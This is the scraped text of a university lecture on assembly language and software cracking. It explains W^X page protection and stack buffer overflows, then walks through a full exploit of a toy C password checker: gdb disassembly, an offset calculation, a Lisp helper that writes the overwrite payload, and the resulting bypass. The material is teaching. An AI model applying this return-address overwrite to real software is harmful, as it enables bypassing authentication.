assembly language programming cracking and security
play

Assembly Language Programming Cracking and security Zbigniew - PowerPoint PPT Presentation

Assembly Language Programming Cracking and security Zbigniew Jurkiewicz, Instytut Informatyki UW January 21, 2018 Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security Memory page protection The


  1. Assembly Language Programming Cracking and security Zbigniew Jurkiewicz, Instytut Informatyki UW January 21, 2018 Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  2. Memory page protection The oldest(?) attacks: program code modification at run-time. Cure: W XOR X ( Write XOR eXecute ) Means that in attributes of any page/segment only one of these attributes may be set. This unfortunately does not solve all problems. Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  3. Interpreters Pages with interpreted programs need not be executable, because they are used as data ba the interpreter. On the other side they are programs, so should be protected against modifications. Some languages (e.g. Prolog) ever allow to dynamically add a new code to the running program. Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  4. JIT compilers Some programming languages permit to compile “on the fly”, ( Just In Time ). This means that the compiler writes into memory (that is on pages) containing binary code. This code is then executed . Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  5. Adresses If we may not change program code, we could try to use its parts contrary to the purpose. Variables containing pointers should not be protected against write. It is thus possible to put into them an arbitrary address from program code. There are hidden structures (like stack), which often contain addresses (e.g. return address from current procedure). Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  6. Buffer overflow Buffer: in general any region in memory. Usually however it is located on stack, as a local variable. In most cases it is an array of characters (a string). We write into such buffer more bytes than its declared/allocated size, e.g. by using strcpy() function, which does not control sizes. This way we overwrite stack elements located below it: other local variables, return address. Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  7. Buffer overflow on stack The analysis of program code is necessary. When allocating memory for local variables the compiler aligns the stack and sometimes for a reason (memory protection markers: canaries ) or without reason, leaves unused holes. In GCC this is controlled by the option -mpreferred-stack-boundary . Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  8. Simple example int main (int argc, char **argv) { int ok = 0; char password[10]; printf("Password, please:"); scanf("%s", password); if (strcmp(pasword,"secret") == 0) ok = 1; if (!ok) exit(1); printf("Ok \ n"); } Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  9. Simple example After calling our program $ ./test1 Password, please:aaaaaaaaaaaa Ok So not only strcpy() is unsafe. In this case to block the hole it is enough to use scanf("%9s", password); Now let us play once more: $ ./test1 Password, please:aaaaaaaaaaaaaaaaaaaaaaaaaa Ok Segmentation violation (core dumped) A lot, but I warned you about holes in stack! Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  10. New example If there is no variable to overwrite, things get more complicated: int main (int argc, char **argv) { char password[10]; printf("Password, please:"); scanf("%s", password); if (strcmp(password,"secret") != 0) return 1; printf("Ok \ n"); return 0; } But there is a chance: thinking about portability the author did not use exit() . We will try to change the return address. Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  11. Return address We want to change the return address in such a way, that it pointed to the continuation with the printf call. We can not avoid visiting the code with a debugger (or other nice tool). Let’s assume, that we have external symbolic information available (in practice I would not bet on it, but we can cope with it — after all we are hard-working). And now the first surprise: two printf’s in C, but only one in binary code! Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  12. Debugger (gdb) disassemble main 0x08048474 <main+0>: push %ebp 0x08048475 <main+1>: mov %esp,%ebp 0x08048477 <main+3>: and $0xfffffff0,%esp 0x0804847a <main+6>: sub $0x20,%esp 0x0804847d <main+9>: mov $0x80485a4,%eax 0x08048482 <main+14>: mov %eax,(%esp) 0x08048485 <main+17>: call 0x8048378 <printf@plt> ... 0x0804849a <main+38>: call 0x8048388 <__isoc99_scanf@plt> ... 0x080484ae <main+58>: call 0x80483a8 <strcmp@plt> 0x080484b3 <main+63>: test %eax,%eax 0x080484b5 <main+65>: je 0x80484be <main+74> 0x080484b7 <main+67>: mov $0x1,%eax 0x080484bc <main+72>: jmp 0x80484cf <main+91> 0x080484be <main+74>: movl $0x80485bb,(%esp) 0x080484c5 <main+81>: call 0x8048398 <puts@plt> 0x080484ca <main+86>: mov $0x0,%eax 0x080484cf <main+91>: leave 0x080484d0 <main+92>: ret Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  13. Return address The precise organileptic analysis discovers the presence of puts() call — what a clever optimization. Let’s remember its adres, we must change it to a sequence of “characters” (remember also small Indian... sorry: Endian) 0x080484be = three-fourth character-with-the-code-84 Eot and Backspace Not bad, could be much worst, for example character with the code 0. Now we have only to determine the length of input data, necessary to overwrite the return address. Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  14. Return address In theory everything on the stack is aligned to 4 bytes, but that’s not always true, e.g. for buffer password . We have to further fraternize with the debuggerem. (gdb) print &password $2 = (char (*)[10]) 0xbffff1d6 (gdb) info reg ... esp 0xbffff1c0 0xbffff1c0 ebp 0xbffff1e8 0xbffff1e8 ... Fast computation 0xbffff1e8 - 0xbffff1d6 = 18 We add 4 bytes for EBP and 4 for EIP , so we must have 26 bytes in total. Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  15. Easy tool in Common Lispie (defun hexconv (hexnum how-many) (labels ((to-chars (hexnum) (multiple-value-bind (quotient remainder) (truncate hexnum 256) (cons (code-char remainder) (if (= quotient 0) ’() (to-chars quotient)))))) (let ((chars (coerce (to-chars hexnum) ’string))) (with-open-file (s "foo.txt" :direction :output :external-format :latin1 :if-exists :supersede) (dotimes (i (- how-many (length chars))) (princ "a" s)) (princ chars s)) ’ok))) Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  16. Finale We do not like UTF-8! Fire the machinery $ lisp ... * (load "hexconv.lisp") NIL * (hexconv #x080484be 26) OK * (quit) $ ./test2 <foo.txt Password, please:Ok Segmentation violation (core dumped) The final error results from spoiled stack — the program returned “the second time”, but previously someone has stolen the return address. Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

  17. Dreams Unfortunately we have no way to save the old return address, but we can add some convenient address to the end of our code, e.g. the address of the function exit() . It would be nice, if instead of printf the program contained the call to shell. But for now let us be happy with what we have, there are so many programs protected with password... And we will return to dreams later. Zbigniew Jurkiewicz, Instytut Informatyki UW Assembly Language Programming Cracking and security

Recommend


More recommend